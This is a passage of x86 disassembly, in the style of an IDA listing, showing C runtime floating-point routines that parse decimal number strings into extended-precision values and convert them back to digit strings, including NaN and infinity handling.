arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		mov	eax, [ebp+arg_4]
		push	ebx
		mov	ebx, [ebp+arg_8]
		xor	edx, edx
		cmp	eax, edx
		push	esi
		mov	[ebp+var_4], 404Eh
		mov	[ebx], edx
		mov	[ebx+4], edx
		mov	[ebx+8], edx
		jbe	short loc_42519E
		push	edi
		mov	[ebp+arg_8], eax


loc_425151:				; CODE XREF: sub_42512A+6Fj
		mov	esi, ebx
		lea	edi, [ebp+var_10]
		movsd
		movsd
		push	ebx
		movsd
		call	sub_4250CF
		push	ebx
		call	sub_4250CF
		lea	eax, [ebp+var_10]
		push	eax
		push	ebx
		call	sub_425071
		push	ebx
		call	sub_4250CF
		mov	eax, [ebp+arg_0]
		and	[ebp+var_C], 0
		and	[ebp+var_8], 0
		movsx	eax, byte ptr [eax]
		mov	[ebp+var_10], eax
		lea	eax, [ebp+var_10]
		push	eax
		push	ebx
		call	sub_425071
		add	esp, 1Ch
		inc	[ebp+arg_0]
		dec	[ebp+arg_8]
		jnz	short loc_425151
		xor	edx, edx
		pop	edi


loc_42519E:				; CODE XREF: sub_42512A+21j
					; sub_42512A+9Fj
		cmp	[ebx+8], edx
		jnz	short loc_4251CB
		mov	ecx, [ebx+4]
		mov	eax, ecx
		shr	eax, 10h
		mov	[ebx+8], eax
		mov	eax, [ebx]
		mov	esi, eax
		shr	esi, 10h
		shl	ecx, 10h
		or	esi, ecx
		shl	eax, 10h
		add	[ebp+var_4], 0FFF0h
		mov	[ebx+4], esi
		mov	[ebx], eax
		jmp	short loc_42519E
; ---------------------------------------------------------------------------


loc_4251CB:				; CODE XREF: sub_42512A+77j
		mov	esi, 8000h


loc_4251D0:				; CODE XREF: sub_42512A+B9j
		test	[ebx+8], esi
		jnz	short loc_4251E5
		push	ebx
		call	sub_4250CF
		add	[ebp+var_4], 0FFFFh
		pop	ecx
		jmp	short loc_4251D0
; ---------------------------------------------------------------------------


loc_4251E5:				; CODE XREF: sub_42512A+A9j
		mov	ax, word ptr [ebp+var_4]
		pop	esi
		mov	[ebx+0Ah], ax
		pop	ebx
		leave
		retn
sub_42512A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4251F1	proc near		; CODE XREF: sub_424518+17p
					; sub_424545+17p

var_5C		= byte ptr -5Ch
var_45		= byte ptr -45h
var_40		= dword	ptr -40h
var_3A		= dword	ptr -3Ah
var_36		= dword	ptr -36h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 5Ch
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_8]
		lea	eax, [ebp+var_5C]
		push	1
		mov	[ebp+var_C], eax
		xor	eax, eax
		pop	edx
		mov	[ebp+var_28], eax
		mov	[ebp+var_18], edx
		mov	[ebp+var_4], eax
		mov	[ebp+var_10], eax
		mov	[ebp+var_24], eax
		mov	[ebp+var_20], eax
		mov	[ebp+var_2C], eax
		mov	[ebp+var_30], eax
		mov	[ebp+var_1C], eax
		mov	[ebp+var_8], eax
		mov	[ebp+var_14], eax
		mov	[ebp+arg_8], edi


loc_42522C:				; CODE XREF: sub_4251F1+52j
		mov	cl, [edi]
		cmp	cl, 20h
		jz	short loc_425242
		cmp	cl, 9
		jz	short loc_425242
		cmp	cl, 0Ah
		jz	short loc_425242
		cmp	cl, 0Dh
		jnz	short loc_425245


loc_425242:				; CODE XREF: sub_4251F1+40j
					; sub_4251F1+45j ...
		inc	edi
		jmp	short loc_42522C
; ---------------------------------------------------------------------------


loc_425245:				; CODE XREF: sub_4251F1+4Fj
		push	4
		pop	esi


loc_425248:				; CODE XREF: sub_4251F1+AEj
					; sub_4251F1+B7j ...
		mov	bl, [edi]
		inc	edi
		cmp	eax, 0Bh	; switch 12 cases
		ja	loc_4254CB	; default
					; jumptable 00425254 case 10
		jmp	off_425692[eax*4] ; switch jump


loc_42525B:				; DATA XREF: ___:off_425692o
		cmp	bl, 31h		; jumptable 00425254 case 0
		jl	short loc_42526C
		cmp	bl, 39h
		jg	short loc_42526C


loc_425265:				; CODE XREF: sub_4251F1+C4j
					; sub_4251F1+118j
		push	3
		jmp	loc_425489
; ---------------------------------------------------------------------------


loc_42526C:				; CODE XREF: sub_4251F1+6Dj
					; sub_4251F1+72j
		cmp	bl, byte_43CBE8
		jnz	short loc_42527B


loc_425274:				; CODE XREF: sub_4251F1+124j
		push	5
		jmp	loc_4254C1
; ---------------------------------------------------------------------------


loc_42527B:				; CODE XREF: sub_4251F1+81j
		movsx	eax, bl
		sub	eax, 2Bh
		jz	short loc_4252A1
		dec	eax
		dec	eax
		jz	short loc_425295
		sub	eax, 3
		jnz	loc_425564
		jmp	loc_425324
; ---------------------------------------------------------------------------


loc_425295:				; CODE XREF: sub_4251F1+94j
		push	2
		mov	[ebp+var_28], 8000h
		pop	eax
		jmp	short loc_425248
; ---------------------------------------------------------------------------


loc_4252A1:				; CODE XREF: sub_4251F1+90j
		and	[ebp+var_28], 0
		push	2
		pop	eax
		jmp	short loc_425248
; ---------------------------------------------------------------------------


loc_4252AA:				; CODE XREF: sub_4251F1+63j
					; DATA XREF: ___:off_425692o
		cmp	bl, 31h		; jumptable 00425254 case 1
		mov	[ebp+var_10], edx
		jl	short loc_4252B7
		cmp	bl, 39h
		jle	short loc_425265


loc_4252B7:				; CODE XREF: sub_4251F1+BFj
		cmp	bl, byte_43CBE8
		jz	loc_42537F
		cmp	bl, 2Bh
		jz	short loc_4252F9
		cmp	bl, 2Dh
		jz	short loc_4252F9
		cmp	bl, 30h
		jz	short loc_425324


loc_4252D2:				; CODE XREF: sub_4251F1+207j
		cmp	bl, 43h
		jle	loc_425564
		cmp	bl, 45h
		jle	short loc_4252F2
		cmp	bl, 63h
		jle	loc_425564
		cmp	bl, 65h
		jg	loc_425564


loc_4252F2:				; CODE XREF: sub_4251F1+EDj
		push	6
		jmp	loc_4254C1
; ---------------------------------------------------------------------------


loc_4252F9:				; CODE XREF: sub_4251F1+D5j
					; sub_4251F1+DAj ...
		dec	edi
		push	0Bh
		jmp	loc_4254C1
; ---------------------------------------------------------------------------


loc_425301:				; CODE XREF: sub_4251F1+63j
					; DATA XREF: ___:off_425692o
		cmp	bl, 31h		; jumptable 00425254 case 2
		jl	short loc_42530F
		cmp	bl, 39h
		jle	loc_425265


loc_42530F:				; CODE XREF: sub_4251F1+113j
		cmp	bl, byte_43CBE8
		jz	loc_425274
		cmp	bl, 30h
		jnz	loc_4254D9


loc_425324:				; CODE XREF: sub_4251F1+9Fj
					; sub_4251F1+DFj
		mov	eax, edx
		jmp	loc_425248
; ---------------------------------------------------------------------------


loc_42532B:				; CODE XREF: sub_4251F1+63j
					; DATA XREF: ___:off_425692o
		mov	[ebp+var_10], edx ; jumptable 00425254 case 3


loc_42532E:				; CODE XREF: sub_4251F1+184j
		cmp	dword_43CBE4, edx
		jle	short loc_425347
		movzx	eax, bl
		push	esi
		push	eax
		call	sub_41F515
		pop	ecx
		pop	ecx
		push	1
		pop	edx
		jmp	short loc_425355
; ---------------------------------------------------------------------------


loc_425347:				; CODE XREF: sub_4251F1+143j
		mov	ecx, off_43C9D8
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, esi


loc_425355:				; CODE XREF: sub_4251F1+154j
		test	eax, eax
		jz	short loc_425377
		cmp	[ebp+var_4], 19h
		jnb	short loc_42536F
		mov	eax, [ebp+var_C]
		inc	[ebp+var_4]
		sub	bl, 30h
		inc	[ebp+var_C]
		mov	[eax], bl
		jmp	short loc_425372
; ---------------------------------------------------------------------------


loc_42536F:				; CODE XREF: sub_4251F1+16Cj
		inc	[ebp+var_8]


loc_425372:				; CODE XREF: sub_4251F1+17Cj
		mov	bl, [edi]
		inc	edi
		jmp	short loc_42532E
; ---------------------------------------------------------------------------


loc_425377:				; CODE XREF: sub_4251F1+166j
		cmp	bl, byte_43CBE8
		jnz	short loc_4253E6


loc_42537F:				; CODE XREF: sub_4251F1+CCj
		mov	eax, esi
		jmp	loc_425248
; ---------------------------------------------------------------------------


loc_425386:				; CODE XREF: sub_4251F1+63j
					; DATA XREF: ___:off_425692o
		cmp	[ebp+var_4], 0	; jumptable 00425254 case 4
		mov	[ebp+var_10], edx
		mov	[ebp+var_24], edx
		jnz	short loc_42539F


loc_425392:				; CODE XREF: sub_4251F1+1ACj
		cmp	bl, 30h
		jnz	short loc_42539F
		dec	[ebp+var_8]
		mov	bl, [edi]
		inc	edi
		jmp	short loc_425392
; ---------------------------------------------------------------------------


loc_42539F:				; CODE XREF: sub_4251F1+19Fj
					; sub_4251F1+1A4j ...
		cmp	dword_43CBE4, edx
		jle	short loc_4253B8
		movzx	eax, bl
		push	esi
		push	eax
		call	sub_41F515
		pop	ecx
		pop	ecx
		push	1
		pop	edx
		jmp	short loc_4253C6
; ---------------------------------------------------------------------------


loc_4253B8:				; CODE XREF: sub_4251F1+1B4j
		mov	ecx, off_43C9D8
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, esi


loc_4253C6:				; CODE XREF: sub_4251F1+1C5j
		test	eax, eax
		jz	short loc_4253E6
		cmp	[ebp+var_4], 19h
		jnb	short loc_4253E1
		mov	eax, [ebp+var_C]
		inc	[ebp+var_4]
		sub	bl, 30h
		inc	[ebp+var_C]
		dec	[ebp+var_8]
		mov	[eax], bl


loc_4253E1:				; CODE XREF: sub_4251F1+1DDj
		mov	bl, [edi]
		inc	edi
		jmp	short loc_42539F
; ---------------------------------------------------------------------------


loc_4253E6:				; CODE XREF: sub_4251F1+18Cj
					; sub_4251F1+1D7j
		cmp	bl, 2Bh
		jz	loc_4252F9
		cmp	bl, 2Dh
		jz	loc_4252F9
		jmp	loc_4252D2
; ---------------------------------------------------------------------------


loc_4253FD:				; CODE XREF: sub_4251F1+63j
					; DATA XREF: ___:off_425692o
		cmp	dword_43CBE4, edx ; jumptable 00425254 case 5
		mov	[ebp+var_24], edx
		jle	short loc_425419
		movzx	eax, bl
		push	esi
		push	eax
		call	sub_41F515
		pop	ecx
		pop	ecx
		push	1
		pop	edx
		jmp	short loc_425427
; ---------------------------------------------------------------------------


loc_425419:				; CODE XREF: sub_4251F1+215j
		mov	ecx, off_43C9D8
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, esi


loc_425427:				; CODE XREF: sub_4251F1+226j
		test	eax, eax
		jz	loc_4254D9
		mov	eax, esi
		jmp	short loc_42548A
; ---------------------------------------------------------------------------


loc_425433:				; CODE XREF: sub_4251F1+63j
					; DATA XREF: ___:off_425692o
		lea	ecx, [edi-2]	; jumptable 00425254 case 6
		cmp	bl, 31h
		mov	[ebp+arg_8], ecx
		jl	short loc_425443
		cmp	bl, 39h
		jle	short loc_425487


loc_425443:				; CODE XREF: sub_4251F1+24Bj
		movsx	eax, bl
		sub	eax, 2Bh
		jz	short loc_4254BF
		dec	eax
		dec	eax
		jz	short loc_4254B3
		sub	eax, 3
		jnz	loc_425567


loc_425458:				; CODE XREF: sub_4251F1+2A4j
		push	8
		jmp	short loc_4254C1
; ---------------------------------------------------------------------------


loc_42545C:				; CODE XREF: sub_4251F1+63j
					; DATA XREF: ___:off_425692o
		mov	[ebp+var_20], edx ; jumptable 00425254 case 8


loc_42545F:				; CODE XREF: sub_4251F1+276j
		cmp	bl, 30h
		jnz	short loc_425469
		mov	bl, [edi]
		inc	edi
		jmp	short loc_42545F
; ---------------------------------------------------------------------------


loc_425469:				; CODE XREF: sub_4251F1+271j
		cmp	bl, 31h
		jl	loc_425564
		cmp	bl, 39h
		jg	loc_425564
		jmp	short loc_425487
; ---------------------------------------------------------------------------


loc_42547D:				; CODE XREF: sub_4251F1+63j
					; DATA XREF: ___:off_425692o
		cmp	bl, 31h		; jumptable 00425254 case 7
		jl	short loc_425490
		cmp	bl, 39h
		jg	short loc_425490


loc_425487:				; CODE XREF: sub_4251F1+250j
					; sub_4251F1+28Aj
		push	9


loc_425489:				; CODE XREF: sub_4251F1+76j
		pop	eax


loc_42548A:				; CODE XREF: sub_4251F1+240j
		dec	edi
		jmp	loc_425248
; ---------------------------------------------------------------------------


loc_425490:				; CODE XREF: sub_4251F1+28Fj
					; sub_4251F1+294j
		cmp	bl, 30h
		jnz	short loc_4254D9
		jmp	short loc_425458
; ---------------------------------------------------------------------------


loc_425497:				; CODE XREF: sub_4251F1+63j
					; DATA XREF: ___:off_425692o
		cmp	[ebp+arg_18], 0	; jumptable 00425254 case 11
		jz	short loc_4254C7
		movsx	eax, bl
		lea	ecx, [edi-1]
		sub	eax, 2Bh
		mov	[ebp+arg_8], ecx
		jz	short loc_4254BF
		dec	eax
		dec	eax
		jnz	loc_425567


loc_4254B3:				; CODE XREF: sub_4251F1+25Cj
		or	[ebp+var_18], 0FFFFFFFFh
		push	7
		pop	eax
		jmp	loc_425248
; ---------------------------------------------------------------------------


loc_4254BF:				; CODE XREF: sub_4251F1+258j
					; sub_4251F1+2B8j
		push	7


loc_4254C1:				; CODE XREF: sub_4251F1+85j
					; sub_4251F1+103j ...
		pop	eax
		jmp	loc_425248
; ---------------------------------------------------------------------------


loc_4254C7:				; CODE XREF: sub_4251F1+2AAj
		push	0Ah
		dec	edi
		pop	eax


loc_4254CB:				; CODE XREF: sub_4251F1+5Dj
					; sub_4251F1+63j
					; DATA XREF: ...
		cmp	eax, 0Ah	; default
					; jumptable 00425254 case 10
		jz	loc_425569
		jmp	loc_425248
; ---------------------------------------------------------------------------


loc_4254D9:				; CODE XREF: sub_4251F1+12Dj
					; sub_4251F1+238j ...
		mov	edi, [ebp+arg_8]
		jmp	loc_425569
; ---------------------------------------------------------------------------


loc_4254E1:				; CODE XREF: sub_4251F1+63j
					; DATA XREF: ___:off_425692o
		mov	[ebp+var_20], 1	; jumptable 00425254 case 9
		xor	esi, esi


loc_4254EA:				; CODE XREF: sub_4251F1+339j
		cmp	dword_43CBE4, 1
		jle	short loc_425502
		movzx	eax, bl
		push	4
		push	eax
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_425511
; ---------------------------------------------------------------------------


loc_425502:				; CODE XREF: sub_4251F1+300j
		mov	ecx, off_43C9D8
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, 4


loc_425511:				; CODE XREF: sub_4251F1+30Fj
		test	eax, eax
		jz	short loc_425531
		movsx	ecx, bl
		lea	eax, [esi+esi*4]
		lea	esi, [ecx+eax*2-30h]
		cmp	esi, 1450h
		jg	short loc_42552C
		mov	bl, [edi]
		inc	edi
		jmp	short loc_4254EA
; ---------------------------------------------------------------------------


loc_42552C:				; CODE XREF: sub_4251F1+334j
		mov	esi, 1451h


loc_425531:				; CODE XREF: sub_4251F1+322j
		mov	[ebp+var_1C], esi


loc_425534:				; CODE XREF: sub_4251F1+371j
		cmp	dword_43CBE4, 1
		jle	short loc_42554C
		movzx	eax, bl
		push	4
		push	eax
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_42555B
; ---------------------------------------------------------------------------


loc_42554C:				; CODE XREF: sub_4251F1+34Aj
		mov	ecx, off_43C9D8
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, 4


loc_42555B:				; CODE XREF: sub_4251F1+359j
		test	eax, eax
		jz	short loc_425564
		mov	bl, [edi]
		inc	edi
		jmp	short loc_425534
; ---------------------------------------------------------------------------


loc_425564:				; CODE XREF: sub_4251F1+99j
					; sub_4251F1+E4j ...
		dec	edi
		jmp	short loc_425569
; ---------------------------------------------------------------------------


loc_425567:				; CODE XREF: sub_4251F1+261j
					; sub_4251F1+2BCj
		mov	edi, ecx


loc_425569:				; CODE XREF: sub_4251F1+2DDj
					; sub_4251F1+2EBj ...
		mov	eax, [ebp+arg_4]
		cmp	[ebp+var_10], 0
		mov	[eax], edi
		jz	loc_425651
		push	18h
		pop	eax
		cmp	[ebp+var_4], eax
		jbe	short loc_425595
		cmp	[ebp+var_45], 5
		jl	short loc_425589
		inc	[ebp+var_45]


loc_425589:				; CODE XREF: sub_4251F1+393j
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_C]
		dec	eax
		inc	[ebp+var_8]
		jmp	short loc_425598
; ---------------------------------------------------------------------------


loc_425595:				; CODE XREF: sub_4251F1+38Dj
		mov	eax, [ebp+var_C]


loc_425598:				; CODE XREF: sub_4251F1+3A2j
		cmp	[ebp+var_4], 0
		jbe	loc_425647


loc_4255A2:				; CODE XREF: sub_4251F1+3BDj
		dec	eax
		cmp	byte ptr [eax],	0
		jnz	short loc_4255B0
		dec	[ebp+var_4]
		inc	[ebp+var_8]
		jmp	short loc_4255A2
; ---------------------------------------------------------------------------


loc_4255B0:				; CODE XREF: sub_4251F1+3B5j
		lea	eax, [ebp+var_40]
		push	eax
		lea	eax, [ebp+var_5C]
		push	[ebp+var_4]
		push	eax
		call	sub_42512A
		mov	eax, [ebp+var_1C]
		xor	ecx, ecx
		add	esp, 0Ch
		cmp	[ebp+var_18], ecx
		jge	short loc_4255CF
		neg	eax


loc_4255CF:				; CODE XREF: sub_4251F1+3DAj
		add	eax, [ebp+var_8]
		cmp	[ebp+var_20], ecx
		jnz	short loc_4255DA
		add	eax, [ebp+arg_10]


loc_4255DA:				; CODE XREF: sub_4251F1+3E4j
		cmp	[ebp+var_24], ecx
		jnz	short loc_4255E2
		sub	eax, [ebp+arg_14]


loc_4255E2:				; CODE XREF: sub_4251F1+3ECj
		cmp	eax, 1450h
		jle	short loc_425619
		mov	[ebp+var_2C], 1


loc_4255F0:				; CODE XREF: sub_4251F1+436j
		mov	ebx, [ebp+arg_8]
		mov	esi, [ebp+arg_8]
		mov	eax, [ebp+arg_8]
		mov	edx, [ebp+arg_8]


loc_4255FC:				; CODE XREF: sub_4251F1+454j
					; sub_4251F1+45Ej
		cmp	[ebp+var_2C], 0
		jz	short loc_425662
		xor	ebx, ebx
		mov	eax, 7FFFh
		mov	esi, 80000000h
		xor	edx, edx
		mov	[ebp+var_14], 2
		jmp	short loc_425677
; ---------------------------------------------------------------------------


loc_425619:				; CODE XREF: sub_4251F1+3F6j
		cmp	eax, 0FFFFEBB0h
		jge	short loc_425629
		mov	[ebp+var_30], 1
		jmp	short loc_4255F0
; ---------------------------------------------------------------------------


loc_425629:				; CODE XREF: sub_4251F1+42Dj
		push	[ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_40]
		push	eax
		call	sub_425DDA
		mov	edx, [ebp+var_40]
		mov	ebx, [ebp+var_40+2]
		mov	esi, [ebp+var_3A]
		mov	eax, [ebp+var_36]
		add	esp, 0Ch
		jmp	short loc_4255FC
; ---------------------------------------------------------------------------


loc_425647:				; CODE XREF: sub_4251F1+3ABj
		xor	edx, edx
		xor	eax, eax
		xor	esi, esi
		xor	ebx, ebx
		jmp	short loc_4255FC
; ---------------------------------------------------------------------------


loc_425651:				; CODE XREF: sub_4251F1+381j
		xor	edx, edx
		xor	eax, eax
		xor	esi, esi
		xor	ebx, ebx
		mov	[ebp+var_14], 4
		jmp	short loc_425677
; ---------------------------------------------------------------------------


loc_425662:				; CODE XREF: sub_4251F1+40Fj
		cmp	[ebp+var_30], 0
		jz	short loc_425677
		xor	edx, edx
		xor	eax, eax
		xor	esi, esi
		xor	ebx, ebx
		mov	[ebp+var_14], 1


loc_425677:				; CODE XREF: sub_4251F1+426j
					; sub_4251F1+46Fj ...
		mov	ecx, [ebp+arg_0]
		or	eax, [ebp+var_28]
		pop	edi
		mov	[ecx+6], esi
		mov	[ecx+2], ebx
		mov	[ecx+0Ah], ax
		mov	eax, [ebp+var_14]
		pop	esi
		mov	[ecx], dx
		pop	ebx
		leave
		retn
sub_4251F1	endp

; ---------------------------------------------------------------------------
off_425692	dd offset loc_42525B	; DATA XREF: sub_4251F1+63r
		dd offset loc_4252AA	; jump table for switch	statement
		dd offset loc_425301
		dd offset loc_42532B
		dd offset loc_425386
		dd offset loc_4253FD
		dd offset loc_425433
		dd offset loc_42547D
		dd offset loc_42545C
		dd offset loc_4254E1
		dd offset loc_4254CB
		dd offset loc_425497

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4256C2	proc near		; CODE XREF: sub_4245E9+2Cp

var_1C		= byte ptr -1Ch
var_1B		= byte ptr -1Bh
var_1A		= byte ptr -1Ah
var_19		= byte ptr -19h
var_18		= byte ptr -18h
var_17		= byte ptr -17h
var_16		= byte ptr -16h
var_15		= byte ptr -15h
var_14		= byte ptr -14h
var_13		= byte ptr -13h
var_12		= byte ptr -12h
var_11		= byte ptr -11h
var_10		= word ptr -10h
var_E		= dword	ptr -0Eh
var_A		= dword	ptr -0Ah
var_6		= word ptr -6
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= byte ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		mov	eax, [ebp+arg_8]
		push	ebx
		mov	ebx, [ebp+arg_14]
		push	esi
		mov	ecx, eax
		mov	esi, 7FFFh
		and	ecx, 8000h
		and	eax, esi
		test	cx, cx
		push	edi
		mov	[ebp+var_1C], 0CCh
		mov	[ebp+var_1B], 0CCh
		mov	[ebp+var_1A], 0CCh
		mov	[ebp+var_19], 0CCh
		mov	[ebp+var_18], 0CCh
		mov	[ebp+var_17], 0CCh
		mov	[ebp+var_16], 0CCh
		mov	[ebp+var_15], 0CCh
		mov	[ebp+var_14], 0CCh
		mov	[ebp+var_13], 0CCh
		mov	[ebp+var_12], 0FBh
		mov	[ebp+var_11], 3Fh
		mov	[ebp+var_4], 1
		mov	edx, eax
		jz	short loc_425724
		mov	byte ptr [ebx+2], 2Dh
		jmp	short loc_425728
; ---------------------------------------------------------------------------


loc_425724:				; CODE XREF: sub_4256C2+5Aj
		mov	byte ptr [ebx+2], 20h


loc_425728:				; CODE XREF: sub_4256C2+60j
		mov	edi, [ebp+arg_4]
		test	dx, dx
		jnz	short loc_42574E
		test	edi, edi
		jnz	short loc_42574E
		cmp	[ebp+arg_0], edi
		jnz	short loc_42574E


loc_425739:				; CODE XREF: sub_4256C2+181j
		and	word ptr [ebx],	0
		mov	byte ptr [ebx+2], 20h
		mov	byte ptr [ebx+3], 1
		mov	byte ptr [ebx+4], 30h
		jmp	loc_42594C
; ---------------------------------------------------------------------------


loc_42574E:				; CODE XREF: sub_4256C2+6Cj
					; sub_4256C2+70j ...
		cmp	dx, si
		jnz	short loc_4257CD
		mov	eax, 80000000h
		mov	word ptr [ebx],	1
		cmp	edi, eax
		jnz	short loc_425767
		cmp	[ebp+arg_0], 0
		jz	short loc_425776


loc_425767:				; CODE XREF: sub_4256C2+9Dj
		test	edi, 40000000h
		jnz	short loc_425776
		push	offset a1Snan	; "1#SNAN"
		jmp	short loc_4257BC
; ---------------------------------------------------------------------------


loc_425776:				; CODE XREF: sub_4256C2+A3j
					; sub_4256C2+ABj
		test	cx, cx
		jz	short loc_425790
		cmp	edi, 0C0000000h
		jnz	short loc_425790
		cmp	[ebp+arg_0], 0
		jnz	short loc_4257B7
		push	offset a1Ind	; "1#IND"
		jmp	short loc_42579F
; ---------------------------------------------------------------------------


loc_425790:				; CODE XREF: sub_4256C2+B7j
					; sub_4256C2+BFj
		cmp	edi, eax
		jnz	short loc_4257B7
		cmp	[ebp+arg_0], 0
		jnz	short loc_4257B7
		push	offset a1Inf	; "1#INF"


loc_42579F:				; CODE XREF: sub_4256C2+CCj
		lea	eax, [ebx+4]
		push	eax
		call	sub_41BEB0
		pop	ecx
		mov	byte ptr [ebx+3], 5
		pop	ecx


loc_4257AE:				; CODE XREF: sub_4256C2+109j
		and	[ebp+var_4], 0
		jmp	loc_425925
; ---------------------------------------------------------------------------


loc_4257B7:				; CODE XREF: sub_4256C2+C5j
					; sub_4256C2+D0j ...
		push	offset a1Qnan	; "1#QNAN"


loc_4257BC:				; CODE XREF: sub_4256C2+B2j
		lea	eax, [ebx+4]
		push	eax
		call	sub_41BEB0
		pop	ecx
		mov	byte ptr [ebx+3], 6
		pop	ecx
		jmp	short loc_4257AE
; ---------------------------------------------------------------------------


loc_4257CD:				; CODE XREF: sub_4256C2+8Fj
		movzx	eax, dx
		mov	ecx, edi
		mov	esi, eax
		shr	ecx, 18h
		imul	eax, 4D10h
		shr	esi, 8
		and	[ebp+var_10], 0
		push	1
		lea	ecx, [esi+ecx*2]
		mov	[ebp+var_6], dx
		imul	ecx, 4Dh
		mov	[ebp+var_A], edi
		lea	esi, [ecx+eax-134312F4h]
		mov	eax, [ebp+arg_0]
		sar	esi, 10h
		mov	[ebp+var_E], eax
		movsx	eax, si
		neg	eax
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_425DDA
		add	esp, 0Ch
		cmp	[ebp+var_6], 3FFFh
		jb	short loc_42582E
		lea	eax, [ebp+var_1C]
		inc	esi
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_425BBA
		pop	ecx
		pop	ecx


loc_42582E:				; CODE XREF: sub_4256C2+15Aj
		test	[ebp+arg_10], 1
		mov	[ebx], si
		jz	short loc_425848
		mov	edi, [ebp+arg_C]
		movsx	eax, si
		add	edi, eax
		test	edi, edi
		jg	short loc_42584B
		jmp	loc_425739
; ---------------------------------------------------------------------------


loc_425848:				; CODE XREF: sub_4256C2+173j
		mov	edi, [ebp+arg_C]


loc_42584B:				; CODE XREF: sub_4256C2+17Fj
		cmp	edi, 15h
		jle	short loc_425853
		push	15h
		pop	edi


loc_425853:				; CODE XREF: sub_4256C2+18Cj
		movzx	esi, [ebp+var_6]
		sub	esi, 3FFEh
		and	[ebp+var_6], 0
		mov	[ebp+arg_14], 8


loc_425869:				; CODE XREF: sub_4256C2+1B4j
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_4250CF
		dec	[ebp+arg_14]
		pop	ecx
		jnz	short loc_425869
		test	esi, esi
		jge	short loc_425893
		neg	esi
		and	esi, 0FFh
		jle	short loc_425893


loc_425886:				; CODE XREF: sub_4256C2+1CFj
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_4250FD
		dec	esi
		pop	ecx
		jnz	short loc_425886


loc_425893:				; CODE XREF: sub_4256C2+1B8j
					; sub_4256C2+1C2j
		lea	ecx, [edi+1]
		lea	eax, [ebx+4]
		test	ecx, ecx
		mov	[ebp+arg_14], eax
		jle	short loc_4258F0
		mov	[ebp+arg_C], ecx


loc_4258A3:				; CODE XREF: sub_4256C2+229j
		lea	esi, [ebp+var_10]
		lea	edi, [ebp+arg_0]
		movsd
		movsd
		lea	eax, [ebp+var_10]
		push	eax
		movsd
		call	sub_4250CF
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_4250CF
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_425071
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_4250CF
		mov	al, byte ptr [ebp+var_6+1]
		mov	ecx, [ebp+arg_14]
		and	byte ptr [ebp+var_6+1],	0
		add	esp, 14h
		add	al, 30h
		inc	[ebp+arg_14]
		dec	[ebp+arg_C]
		mov	[ecx], al
		jnz	short loc_4258A3
		mov	eax, [ebp+arg_14]


loc_4258F0:				; CODE XREF: sub_4256C2+1DCj
		mov	cl, [eax-1]
		dec	eax
		dec	eax
		cmp	cl, 35h
		lea	ecx, [ebx+4]
		jl	short loc_42592D


loc_4258FD:				; CODE XREF: sub_4256C2+248j
		cmp	eax, ecx
		jb	short loc_425910
		cmp	byte ptr [eax],	39h
		jnz	short loc_42590C
		mov	byte ptr [eax],	30h
		dec	eax
		jmp	short loc_4258FD
; ---------------------------------------------------------------------------


loc_42590C:				; CODE XREF: sub_4256C2+242j
		cmp	eax, ecx
		jnb	short loc_425914


loc_425910:				; CODE XREF: sub_4256C2+23Dj
		inc	eax
		inc	word ptr [ebx]


loc_425914:				; CODE XREF: sub_4256C2+24Cj
		inc	byte ptr [eax]


loc_425916:				; CODE XREF: sub_4256C2+279j
		sub	al, bl
		sub	al, 3
		mov	[ebx+3], al
		movsx	eax, al
		and	byte ptr [eax+ebx+4], 0


loc_425925:				; CODE XREF: sub_4256C2+F0j
		mov	eax, [ebp+var_4]


loc_425928:				; CODE XREF: sub_4256C2+291j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_42592D:				; CODE XREF: sub_4256C2+239j
					; sub_4256C2+275j
		cmp	eax, ecx
		jb	short loc_42593D
		cmp	byte ptr [eax],	30h
		jnz	short loc_425939
		dec	eax
		jmp	short loc_42592D
; ---------------------------------------------------------------------------


loc_425939:				; CODE XREF: sub_4256C2+272j
		cmp	eax, ecx
		jnb	short loc_425916


loc_42593D:				; CODE XREF: sub_4256C2+26Dj
		and	word ptr [ebx],	0
		mov	byte ptr [ebx+2], 20h
		mov	byte ptr [ebx+3], 1
		mov	byte ptr [ecx],	30h


loc_42594C:				; CODE XREF: sub_4256C2+87j
		and	byte ptr [ebx+5], 0
		push	1
		pop	eax
		jmp	short loc_425928
sub_4256C2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


